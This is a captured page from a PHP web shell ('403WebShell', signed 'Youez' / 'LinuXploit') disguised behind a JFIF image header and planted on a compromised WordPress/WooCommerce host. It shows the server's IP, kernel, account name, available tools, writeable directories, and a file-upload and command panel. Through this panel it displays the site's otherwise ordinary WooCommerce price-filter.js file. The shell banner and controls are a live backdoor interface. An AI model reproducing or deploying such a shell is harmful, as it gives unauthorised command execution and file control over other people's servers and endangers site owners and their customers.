????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks//price-filter.js
(()=>{var e,t,r,o={9025:(e,t,r)=>{"use strict";const o=window.wp.blocks;var i=r(4921),n=r(4530),c=r(8486);const s=window.wp.blockEditor;var l=r(7723);const a=window.wc.wcSettings,u=(0,a.getSetting)("wcBlocksConfig",{pluginUrl:"",productCount:0,defaultAvatar:"",restApiRoutes:{},wordCountType:"words"}),d=(u.pluginUrl,u.pluginUrl,a.STORE_PAGES.shop,a.STORE_PAGES.checkout,a.STORE_PAGES.checkout,a.STORE_PAGES.privacy,a.STORE_PAGES.privacy,a.STORE_PAGES.terms,a.STORE_PAGES.terms,a.STORE_PAGES.cart,a.STORE_PAGES.cart,a.STORE_PAGES.myaccount?.permalink?a.STORE_PAGES.myaccount.permalink:(0,a.getSetting)("wpLoginUrl","/wp-login.php"),(0,a.getSetting)("localPickupEnabled",!1),(0,a.getSetting)("shippingMethodsExist",!1),(0,a.getSetting)("shippingEnabled",!0),(0,a.getSetting)("countries",{})),p=(0,a.getSetting)("countryData",{}),m={...Object.fromEntries(Object.keys(p).filter((e=>!0===p[e].allowBilling)).map((e=>[e,d[e]||""]))),...Object.fromEntries(Object.keys(p).filter((e=>!0===p[e].allowShipping)).map((e=>[e,d[e]||""])))},b=(Object.fromEntries(Object.keys(m).map((e=>[e,p[e].states||{}]))),Object.fromEntries(Object.keys(m).map((e=>[e,p[e].locale||{}]))),{address:["first_name","last_name","company","address_1","address_2","city","postcode","country","state","phone"],contact:["email"],order:[]});(0,a.getSetting)("addressFieldsLocations",b).address,(0,a.getSetting)("addressFieldsLocations",b).contact,(0,a.getSetting)("addressFieldsLocations",b).order,(0,a.getSetting)("additionalOrderFields",{}),(0,a.getSetting)("additionalContactFields",{}),(0,a.getSetting)("additionalAddressFields",{});var w=r(9491),_=(r(2796),r(790));const g=(0,w.withInstanceId)((({className:e,headingLevel:t,onChange:r,heading:o,instanceId:i})=>{const n=`h${t}`;return(0,_.jsxs)(n,{className:e,children:[(0,_.jsx)("label",{className:"screen-reader-text",htmlFor:`block-title-${i}`,children:(0,l.__)("Block title","woocommerce")}),(0,_.jsx)(s.PlainText,{id:`block-title-${i}`,className:"wc-block-editor-components-title",value:o,onChange:r,style:{backgroundColor:"transparent"}})]})}));var h=r(7035);const f=window.wp.components;var x=r(6087);function k(e,t){const r=(0,x.useRef)();return(0,x.useEffect)((()=>{r.current===e||t&&!t(e,r.current)||(r.current=e)}),[e,t]),r.current}const y=window.wc.wcBlocksData,v=window.wp.data;var j=r(923),S=r.n(j);const E=(0,x.createContext)("page"),C=()=>(0,x.useContext)(E),N=(E.Provider,e=>{const t=C();e=e||t;const r=(0,v.useSelect)((t=>t(y.QUERY_STATE_STORE_KEY).getValueForQueryContext(e,void 0)),[e]),{setValueForQueryContext:o}=(0,v.useDispatch)(y.QUERY_STATE_STORE_KEY);return[r,(0,x.useCallback)((t=>{o(e,t)}),[e,o])]}),F=(e,t,r)=>{const o=C();r=r||o;const i=(0,v.useSelect)((o=>o(y.QUERY_STATE_STORE_KEY).getValueForQueryKey(r,e,t)),[r,e]),{setQueryValue:n}=(0,v.useDispatch)(y.QUERY_STATE_STORE_KEY);return[i,(0,x.useCallback)((t=>{n(r,e,t)}),[r,e,n])]};var P=r(4347);const O=window.wc.wcTypes;var A=r(9456);function R(e){const t=(0,x.useRef)(e);return S()(e,t.current)||(t.current=e),t.current}const T=({queryAttribute:e,queryPrices:t,queryStock:r,queryRating:o,queryState:i,isEditor:n=!1})=>{let c=C();c=`${c}-collection-data`;const[s]=N(c),[l,a]=F("calculate_attribute_counts",[],c),[u,d]=F("calculate_price_range",null,c),[p,m]=F("calculate_stock_status_counts",null,c),[b,w]=F("calculate_rating_counts",null,c),_=R(e||{}),g=R(t),h=R(r),f=R(o);(0,x.useEffect)((()=>{"object"==typeof _&&Object.keys(_).length&&(l.find((e=>(0,O.objectHasProp)(_,"taxonomy")&&e.taxonomy===_.taxonomy))||a([...l,_]))}),[_,l,a]),(0,x.useEffect)((()=>{u!==g&&void 0!==g&&d(g)}),[g,d,u]),(0,x.useEffect)((()=>{p!==h&&void 0!==h&&m(h)}),[h,m,p]),(0,x.useEffect)((()=>{b!==f&&void 0!==f&&w(f)}),[f,w,b]);const[k,j]=(0,x.useState)(n),[S]=(0,P.d7)(k,200);k||j(!0);const E=(0,x.useMemo)((()=>(e=>{const t=e;return Array.isArray(e.calculate_attribute_counts)&&(t.calculate_attribute_counts=(0,A.di)(e.calculate_attribute_counts.map((({taxonomy:e,queryType:t})=>({taxonomy:e,query_type:t})))).asc(["taxonomy","query_type"])),t})(s)),[s]),{results:T,isLoading:B}=(e=>{const{namespace:t,resourceName:r,resourceValues:o=[],query:i={},shouldSelect:n=!0}=e;if(!t||!r)throw new Error("The options object must have valid values for the namespace and the resource properties.");const c=(0,x.useRef)({results:[],isLoading:!0}),s=R(i),l=R(o),a=(()=>{const[,e]=(0,x.useState)();return(0,x.useCallback)((t=>{e((()=>{throw t}))}),[])})(),u=(0,v.useSelect)((e=>{if(!n)return null;const o=e(y.COLLECTIONS_STORE_KEY),i=[t,r,s,l],c=o.getCollectionError(...i);if(c){if(!(0,O.isError)(c))throw new Error("TypeError: `error` object is not an instance of Error constructor");a(c)}return{results:o.getCollection(...i),isLoading:!o.hasFinishedResolution("getCollection",i)}}),[t,r,l,s,n,a]);return null!==u&&(c.current=u),c.current})({namespace:"/wc/store/v1",resourceName:"products/collection-data",query:{...i,page:void 0,per_page:void 0,orderby:void 0,order:void 0,...E},shouldSelect:S});return{data:T,isLoading:B}},B=window.wc.blocksComponents;r(6599);const I=(e,t,r,o=1,i=!1)=>{let[n,c]=e;const s=e=>Number.isFinite(e);return s(n)||(n=t||0),s(c)||(c=r||o),s(t)&&t>n&&(n=t),s(r)&&r<=n&&(n=r-o),s(t)&&t>=c&&(c=t+o),s(r)&&r<c&&(c=r),!i&&n>=c&&(n=c-o),i&&c<=n&&(c=n+o),[n,c]};r(874);const L=({className:e,isLoading:t,disabled:r,
/* translators: Submit button text for filters. */
label:o=(0,l.__)("Apply","woocommerce"),onClick:n,screenReaderLabel:c=(0,l.__)("Apply filter","woocommerce")})=>(0,_.jsx)("button",{type:"submit",className:(0,i.A)("wp-block-button__link","wc-block-filter-submit-button","wc-block-components-filter-submit-button",{"is-loading":t},e),disabled:r,onClick:n,children:(0,_.jsx)(B.Label,{label:o,screenReaderLabel:c})}),U=({maxConstraint:e,minorUnit:t})=>({floatValue:r})=>void 0!==r&&r<=e/10**t&&r>0,M=({minConstraint:e,currentMaxValue:t,minorUnit:r})=>({floatValue:o})=>void 0!==o&&o>=e/10**r&&o<t/10**r;r(7165);const q=({className:e,
/* translators: Reset button text for filters. */
label:t=(0,l.__)("Reset","woocommerce"),onClick:r,screenReaderLabel:o=(0,l.__)("Reset filter","woocommerce")})=>(0,_.jsx)("button",{className:(0,i.A)("wc-block-components-filter-reset-button",e),onClick:r,children:(0,_.jsx)(B.Label,{label:t,screenReaderLabel:o})}),G=({minPrice:e,maxPrice:t,minConstraint:r,maxConstraint:o,onChange:n,step:c,currency:s,showInputFields:a=!0,showFilterButton:u=!1,inlineInput:d=!0,isLoading:p=!1,isUpdating:m=!1,isEditor:b=!1,onSubmit:w=()=>{}})=>{const g=(0,x.useRef)(null),h=(0,x.useRef)(null),f=c||10**s.minorUnit,[k,y]=(0,x.useState)(e),[v,j]=(0,x.useState)(t),S=(0,x.useRef)(null),[E,C]=(0,x.useState)(0);(0,x.useEffect)((()=>{y(e)}),[e]),(0,x.useEffect)((()=>{j(t)}),[t]),(0,x.useLayoutEffect)((()=>{d&&S.current&&C(S.current?.offsetWidth)}),[d,C]);const N=(0,x.useMemo)((()=>isFinite(r)&&isFinite(o)),[r,o]),F=(0,x.useMemo)((()=>isFinite(e)&&isFinite(t)&&N?{"--low":(e-r)/(o-r)*100+"%","--high":(t-r)/(o-r)*100+"%"}:{"--low":"0%","--high":"100%"}),[e,t,r,o,N]),A=(0,x.useCallback)((e=>{if(p||!N||!g.current||!h.current)return;const t=e.target.getBoundingClientRect(),r=e.clientX-t.left,i=g.current.offsetWidth,n=+g.current.value,c=h.current.offsetWidth,s=+h.current.value,l=i*(n/o),a=c*(s/o);Math.abs(r-l)>Math.abs(r-a)?(g.current.style.zIndex="20",h.current.style.zIndex="21"):(g.current.style.zIndex="21",h.current.style.zIndex="20")}),[p,o,N]),R=(0,x.useCallback)((i=>{const c=i.target.classList.contains("wc-block-price-filter__range-input--min"),s=+i.target.value,l=c?[Math.round(s/f)*f,t]:[e,Math.round(s/f)*f],a=I(l,r,o,f,c);n(a)}),[n,e,t,r,o,f]),T=(0,P.YQ)(((e,t,r)=>{if(e>=t){const e=I([0,t],null,null,f,r);return n([parseInt(e[0],10),parseInt(e[1],10)])}const o=I([e,t],null,null,f,r);n(o)}),1e3),G=(0,P.YQ)(w,600),Q=(0,i.A)("wc-block-price-filter","wc-block-components-price-slider",a&&"wc-block-price-filter--has-input-fields",a&&"wc-block-components-price-slider--has-input-fields",u&&"wc-block-price-filter--has-filter-button",u&&"wc-block-components-price-slider--has-filter-button",!N&&"is-disabled",(d||E<=300)&&"wc-block-components-price-slider--is-input-inline"),D=(0,O.isObject)(g.current)?g.current.ownerDocument.activeElement:void 0,V=D&&D===g.current?f:1,Y=D&&D===h.current?f:1,W=String(k/10**s.minorUnit),$=String(v/10**s.minorUnit),H=d&&E>300,K=(0,_.jsx)("div",{className:(0,i.A)("wc-block-price-filter__range-input-wrapper","wc-block-components-price-slider__range-input-wrapper",{"is-loading":p&&m}),onMouseMove:A,onFocus:A,children:N&&(0,_.jsxs)("div",{"aria-hidden":a,children:[(0,_.jsx)("div",{className:"wc-block-price-filter__range-input-progress wc-block-components-price-slider__range-input-progress",style:F}),(0,_.jsx)("input",{type:"range",className:"wc-block-price-filter__range-input wc-block-price-filter__range-input--min wc-block-components-price-slider__range-input wc-block-components-price-slider__range-input--min","aria-label":(0,l.__)("Filter products by minimum price","woocommerce"),"aria-valuetext":W,value:Number.isFinite(e)?e:r,onChange:R,step:V,min:r,max:o,ref:g,disabled:p&&!N,tabIndex:a?-1:0}),(0,_.jsx)("input",{type:"range",className:"wc-block-price-filter__range-input wc-block-price-filter__range-input--max wc-block-components-price-slider__range-input wc-block-components-price-slider__range-input--max","aria-label":(0,l.__)("Filter products by maximum price","woocommerce"),"aria-valuetext":$,value:Number.isFinite(t)?t:o,onChange:R,step:Y,min:r,max:o,ref:h,disabled:p,tabIndex:a?-1:0})]})}),z=e=>`wc-block-price-filter__amount wc-block-price-filter__amount--${e} wc-block-form-text-input wc-block-components-price-slider__amount wc-block-components-price-slider__amount--${e}`,J={currency:s,decimalScale:0},X={...J,displayType:"input",allowNegative:!1,disabled:p||!N,onClick:e=>{const t=e.currentTarget;t&&t.select()}};return(0,_.jsxs)("div",{className:Q,ref:S,children:[(!H||!a)&&K,a&&(0,_.jsxs)("div",{className:"wc-block-price-filter__controls wc-block-components-price-slider__controls",children:[m?(0,_.jsx)("div",{className:"input-loading"}):(0,_.jsxs)("div",{className:"wc-block-price-filter__control wc-block-components-price-slider__control",children:[(0,_.jsx)("label",{className:"wc-block-components-price-slider__label",htmlFor:"minPriceInput",children:(0,l.__)("Min. Price","woocommerce")}),(0,_.jsx)(B.FormattedMonetaryAmount,{...X,id:"minPriceInput",className:z("min"),"aria-label":(0,l.__)("Filter products by minimum price","woocommerce"),isAllowed:M({minConstraint:r,minorUnit:s.minorUnit,currentMaxValue:v}),onValueChange:e=>{e!==k&&(y(e),T(e,v,!0))},value:k})]}),H&&K,m?(0,_.jsx)("div",{className:"input-loading"}):(0,_.jsxs)("div",{className:"wc-block-price-filter__control wc-block-components-price-slider__control",children:[(0,_.jsx)("label",{className:"wc-block-components-price-slider__label",htmlFor:"maxPriceInput",children:(0,l.__)("Max. Price","woocommerce")}),(0,_.jsx)(B.FormattedMonetaryAmount,{...X,id:"maxPriceInput",className:z("max"),"aria-label":(0,l.__)("Filter products by maximum price","woocommerce"),isAllowed:U({maxConstraint:o,minorUnit:s.minorUnit}),onValueChange:e=>{e!==v&&(j(e),T(k,e,!1))},value:v})]})]}),!a&&!m&&Number.isFinite(e)&&Number.isFinite(t)&&(0,_.jsxs)("div",{className:"wc-block-price-filter__range-text wc-block-components-price-slider__range-text",children:[(0,_.jsx)(B.FormattedMonetaryAmount,{...J,value:e}),(0,_.jsx)(B.FormattedMonetaryAmount,{...J,value:t})]}),(0,_.jsxs)("div",{className:"wc-block-components-price-slider__actions",children:[(b||!m&&(e!==r||t!==o))&&(0,_.jsx)(q,{onClick:()=>{n([r,o]),G()},screenReaderLabel:(0,l.__)("Reset price filter","woocommerce")}),u&&(0,_.jsx)(L,{className:"wc-block-price-filter__button wc-block-components-price-slider__button",isLoading:m,disabled:p||!N,onClick:w,screenReaderLabel:(0,l.__)("Apply price filter","woocommerce")})]})]})};r(9300);const Q=({children:e})=>(0,_.jsx)("div",{className:"wc-block-filter-title-placeholder",children:e}),D=window.wc.priceFormat,V=window.wp.url,Y=(0,a.getSettingWithCoercion)("isRenderingPhpTemplate",!1,O.isBoolean);function W(e){return window?(0,V.getQueryArg)(window.location.href,e):null}function $(e){if(Y){const t=new URL(e);t.pathname=t.pathname.replace(/\/page\/[0-9]+/i,""),t.searchParams.delete("paged"),t.searchParams.forEach(((e,r)=>{r.match(/^query(?:-[0-9]+)?-page$/)&&t.searchParams.delete(r)})),window.location.href=t.href}else window.history.replaceState({},"",e)}const H="ROUND_UP",K="ROUND_DOWN",z=(e,t,r)=>{const o=1*10**t;let i=null;const n=parseFloat(e);isNaN(n)||(r===H?i=Math.ceil(n/o)*o:r===K&&(i=Math.floor(n/o)*o));const c=k(i,Number.isFinite);return Number.isFinite(i)?i:c};r(3846);const J=(0,x.createContext)({});function X(e,t){return Number(e)*10**t}const Z=({attributes:e,isEditor:t=!1})=>{const r=(()=>{const{wrapper:e}=(0,x.useContext)(J);return t=>{e&&e.current&&(e.current.hidden=!t)}})(),o=(0,a.getSettingWithCoercion)("hasFilterableProducts",!1,O.isBoolean),i=(0,a.getSettingWithCoercion)("isRenderingPhpTemplate",!1,O.isBoolean),[n,c]=(0,x.useState)(!1),s=W("min_price"),l=W("max_price"),[u]=N(),d=(0,a.getSettingWithCoercion)("queryState",{},O.isObject),{data:p,isLoading:m}=T({queryPrices:!0,queryState:{...d,...u},isEditor:t}),b=(0,D.getCurrencyFromPriceResponse)((0,O.objectHasProp)(p,"price_range")?p.price_range:void 0),[w,g]=F("min_price"),[h,f]=F("max_price"),[y,v]=(0,x.useState)(X(s,b.minorUnit)||null),[j,S]=(0,x.useState)(X(l,b.minorUnit)||null),{minConstraint:E,maxConstraint:C}=(({minPrice:e,maxPrice:t,minorUnit:r})=>({minConstraint:z(e||"",r,K),maxConstraint:z(t||"",r,H)}))({minPrice:(0,O.objectHasProp)(p,"price_range")&&(0,O.objectHasProp)(p.price_range,"min_price")&&(0,O.isString)(p.price_range.min_price)?p.price_range.min_price:void 0,maxPrice:(0,O.objectHasProp)(p,"price_range")&&(0,O.objectHasProp)(p.price_range,"max_price")&&(0,O.isString)(p.price_range.max_price)?p.price_range.max_price:void 0,minorUnit:b.minorUnit});(0,x.useEffect)((()=>{n||(g(X(s,b.minorUnit)),f(X(l,b.minorUnit)),c(!0))}),[b.minorUnit,n,l,s,f,g]);const[A,R]=(0,x.useState)(m),B=(0,x.useCallback)(((e,t)=>{const r=t>=Number(C)?void 0:t,o=e<=Number(E)?void 0:e;if(window){const e=function(e,t){const r={};for(const[e,o]of Object.entries(t))o?r[e]=o.toString():delete r[e];const o=(0,V.removeQueryArgs)(e,...Object.keys(t));return(0,V.addQueryArgs)(o,r)}(window.location.href,{min_price:o/10**b.minorUnit,max_price:r/10**b.minorUnit});window.location.href!==e&&$(e)}g(o),f(r)}),[E,C,g,f,b.minorUnit]),I=(0,P.YQ)(B,500),L=(0,x.useCallback)((t=>{R(!0),t[0]!==y&&v(t[0]),t[1]!==j&&S(t[1]),i&&n&&!e.showFilterButton&&I(t[0],t[1])}),[y,j,v,S,i,n,I,e.showFilterButton]);(0,x.useEffect)((()=>{e.showFilterButton||i||I(y,j)}),[y,j,e.showFilterButton,I,i]);const U=k(w),M=k(h),q=k(E),Y=k(C);if((0,x.useEffect)((()=>{(!Number.isFinite(y)||w!==U&&w!==y||E!==q&&E!==y)&&v(Number.isFinite(w)?w:E),(!Number.isFinite(j)||h!==M&&h!==j||C!==Y&&C!==j)&&S(Number.isFinite(h)?h:C)}),[y,j,w,h,E,C,q,Y,U,M]),!o)return r(!1),null;if(!m&&(null===E||null===C||E===C))return r(!1),null;const Z=`h${e.headingLevel}`;r(!0),!m&&A&&R(!1);const ee=(0,_.jsx)(Z,{className:"wc-block-price-filter__title",children:e.heading}),te=m&&A?(0,_.jsx)(Q,{children:ee}):ee;return(0,_.jsxs)(_.Fragment,{children:[!t&&e.heading&&te,(0,_.jsx)("div",{className:"wc-block-price-slider",children:(0,_.jsx)(G,{minConstraint:E,maxConstraint:C,minPrice:y,maxPrice:j,currency:b,showInputFields:e.showInputFields,inlineInput:e.inlineInput,showFilterButton:e.showFilterButton,onChange:L,onSubmit:()=>B(y,j),isLoading:m,isUpdating:A,isEditor:t})})]})};function ee({children:e,className:t,actionLabel:r,onActionClick:o,...n}){return(0,_.jsx)(f.Notice,{...n,className:(0,i.$)("wc-block-editor-components-upgrade-downgrade-notice",t),actions:[{label:r,onClick:o,noDefaultClasses:!0,variant:"link"}],children:(0,_.jsx)("div",{className:"wc-block-editor-components-upgrade-downgrade-notice__text",children:e})})}r(5012),r(9969);const te=({clientId:e})=>{const{replaceBlock:t,removeBlock:r,updateBlockAttributes:i,selectBlock:n}=(0,v.useDispatch)("core/block-editor"),c=(0,x.createInterpolateElement)((0,l.__)("Upgrade all Filter blocks on this page for better performance and more customizability","woocommerce"),{strongText:(0,_.jsx)("strong",{children:(0,l.__)("Product Filters","woocommerce")})}),s=(0,l.__)("Upgrade all Filter blocks","woocommerce");return(0,_.jsx)(ee,{isDismissible:!1,actionLabel:s,onActionClick:()=>{const{getBlocksByName:c,getBlockParentsByBlockName:s}=(0,v.select)("core/block-editor"),l=s(e,"woocommerce/filter-wrapper"),a=(0,o.createBlock)("woocommerce/product-filters");l.length?t(l[0],a):t(e,a),c("woocommerce/filter-wrapper").forEach((e=>{i(e,{lock:{remove:!1}}),r(e)})),["woocommerce/active-filters","woocommerce/price-filter","woocommerce/attribute-filter","woocommerce/stock-filter"].forEach((e=>{const t=c(e);t.length&&(i(t[0],{lock:{remove:!1}}),r(t[0]))})),n(a.clientId)},children:c})},re=JSON.parse('{"name":"woocommerce/price-filter","title":"Filter by Price Controls","description":"Enable customers to filter the product grid by choosing a price range.","category":"woocommerce","keywords":["WooCommerce"],"supports":{"interactivity":{"clientNavigation":false},"html":false,"multiple":false,"color":{"text":true,"background":false},"inserter":false,"lock":false},"attributes":{"className":{"type":"string","default":""},"showInputFields":{"type":"boolean","default":true},"inlineInput":{"type":"boolean","default":false},"showFilterButton":{"type":"boolean","default":false},"headingLevel":{"type":"number","default":3}},"textdomain":"woocommerce","apiVersion":3,"$schema":"https://schemas.wp.org/trunk/block.json"}'),oe={heading:{type:"string",default:(0,l.__)("Filter by price","woocommerce")}},ie=[{attributes:{...re.attributes,...oe},save:({attributes:e})=>{const{className:t,showInputFields:r,showFilterButton:o,heading:n,headingLevel:c}=e,l={"data-showinputfields":r,"data-showfilterbutton":o,"data-heading":n,"data-heading-level":c};return(0,_.jsx)("div",{...s.useBlockProps.save({className:(0,i.A)("is-loading",t)}),...l,children:(0,_.jsx)("span",{"aria-hidden":!0,className:"wc-block-product-categories__placeholder"})})}}];(0,o.registerBlockType)(re,{icon:{src:(0,_.jsx)(n.A,{icon:c.A,className:"wc-block-editor-components-block-icon"})},attributes:{...re.attributes,...oe},edit:function({attributes:e,setAttributes:t,clientId:r}){const{heading:o,headingLevel:i,showInputFields:d,inlineInput:p,showFilterButton:m}=e,b=(0,s.useBlockProps)();return(0,_.jsx)("div",{...b,children:0===u.productCount?(0,_.jsxs)(f.Placeholder,{className:"wc-block-price-slider",icon:(0,_.jsx)(n.A,{icon:c.A}),label:(0,l.__)("Filter by Price","woocommerce"),instructions:(0,l.__)("Display a slider to filter products in your store by price.","woocommerce"),children:[(0,_.jsx)("p",{children:(0,l.__)("To filter your products by price you first need to assign prices to your products.","woocommerce")}),(0,_.jsxs)(f.Button,{className:"wc-block-price-slider__add-product-button",variant:"secondary",href:(0,a.getAdminLink)("post-new.php?post_type=product"),target:"_top",children:[(0,l.__)("Add new product","woocommerce")+" ",(0,_.jsx)(n.A,{icon:h.A})]}),(0,_.jsx)(f.Button,{className:"wc-block-price-slider__read_more_button",variant:"tertiary",href:"https://woocommerce.com/document/managing-products/",target:"_blank",children:(0,l.__)("Learn more","woocommerce")})]}):(0,_.jsxs)(_.Fragment,{children:[(0,_.jsxs)(s.InspectorControls,{children:[(0,_.jsx)(f.PanelBody,{children:(0,_.jsx)(te,{clientId:r})}),(0,_.jsxs)(f.PanelBody,{title:(0,l.__)("Settings","woocommerce"),children:[(0,_.jsxs)(f.__experimentalToggleGroupControl,{label:(0,l.__)("Price Range Selector","woocommerce"),isBlock:!0,value:d?"editable":"text",onChange:e=>t({showInputFields:"editable"===e}),className:"wc-block-price-filter__price-range-toggle",children:[(0,_.jsx)(f.__experimentalToggleGroupControlOption,{value:"editable",label:(0,l.__)("Editable","woocommerce")}),(0,_.jsx)(f.__experimentalToggleGroupControlOption,{value:"text",label:(0,l.__)("Text","woocommerce")})]}),d&&(0,_.jsx)(f.ToggleControl,{label:(0,l.__)("Inline input fields","woocommerce"),checked:p,onChange:()=>t({inlineInput:!p}),help:(0,l.__)("Show input fields inline with the slider.","woocommerce")}),(0,_.jsx)(f.ToggleControl,{label:(0,l.__)("Show 'Apply filters' button","woocommerce"),help:(0,l.__)("Products will update when the button is clicked.","woocommerce"),checked:m,onChange:()=>t({showFilterButton:!m})})]})]},"inspector"),o&&(0,_.jsx)(g,{className:"wc-block-price-filter__title",headingLevel:i,heading:o,onChange:e=>t({heading:e})}),(0,_.jsx)(f.Disabled,{children:(0,_.jsx)(Z,{attributes:e,isEditor:!0})})]})})},save({attributes:e}){const{className:t}=e;return(0,_.jsx)("div",{...s.useBlockProps.save({className:(0,i.A)("is-loading",t)}),children:(0,_.jsx)("span",{"aria-hidden":!0,className:"wc-block-product-categories__placeholder"})})},deprecated:ie})},9300:()=>{},7165:()=>{},874:()=>{},6599:()=>{},5012:()=>{},3846:()=>{},2796:()=>{},9969:()=>{},1609:e=>{"use strict";e.exports=window.React},790:e=>{"use strict";e.exports=window.ReactJSXRuntime},9491:e=>{"use strict";e.exports=window.wp.compose},6087:e=>{"use strict";e.exports=window.wp.element},7723:e=>{"use strict";e.exports=window.wp.i18n},923:e=>{"use strict";e.exports=window.wp.isShallowEqual},5573:e=>{"use strict";e.exports=window.wp.primitives}},i={};function n(e){var t=i[e];if(void 0!==t)return t.exports;var r=i[e]={exports:{}};return o[e].call(r.exports,r,r.exports,n),r.exports}n.m=o,e=[],n.O=(t,r,o,i)=>{if(!r){var c=1/0;for(u=0;u<e.length;u++){for(var[r,o,i]=e[u],s=!0,l=0;l<r.length;l++)(!1&i||c>=i)&&Object.keys(n.O).every((e=>n.O[e](r[l])))?r.splice(l--,1):(s=!1,i<c&&(c=i));if(s){e.splice(u--,1);var a=o();void 0!==a&&(t=a)}}return t}i=i||0;for(var u=e.length;u>0&&e[u-1][2]>i;u--)e[u]=e[u-1];e[u]=[r,o,i]},n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},r=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,n.t=function(e,o){if(1&o&&(e=this(e)),8&o)return e;if("object"==typeof e&&e){if(4&o&&e.__esModule)return e;if(16&o&&"function"==typeof e.then)return e}var i=Object.create(null);n.r(i);var c={};t=t||[null,r({}),r([]),r(r)];for(var s=2&o&&e;"object"==typeof s&&!~t.indexOf(s);s=r(s))Object.getOwnPropertyNames(s).forEach((t=>c[t]=()=>e[t]));return c.default=()=>e,n.d(i,c),i},n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.j=1493,(()=>{var e={1493:0};n.O.j=t=>0===e[t];var t=(t,r)=>{var o,i,[c,s,l]=r,a=0;if(c.some((t=>0!==e[t]))){for(o in s)n.o(s,o)&&(n.m[o]=s[o]);if(l)var u=l(n)}for(t&&t(r);a<c.length;a++)i=c[a],n.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return n.O(u)},r=globalThis.webpackChunkwebpackWcBlocksMainJsonp=globalThis.webpackChunkwebpackWcBlocksMainJsonp||[];r.forEach(t.bind(null,0)),r.push=t.bind(null,r.push.bind(r))})();var c=n.O(void 0,[94],(()=>n(9025)));c=n.O(c),((this.wc=this.wc||{}).blocks=this.wc.blocks||{})["price-filter"]=c})();

Youez - 2016 - github.com/yon3zu
LinuXploit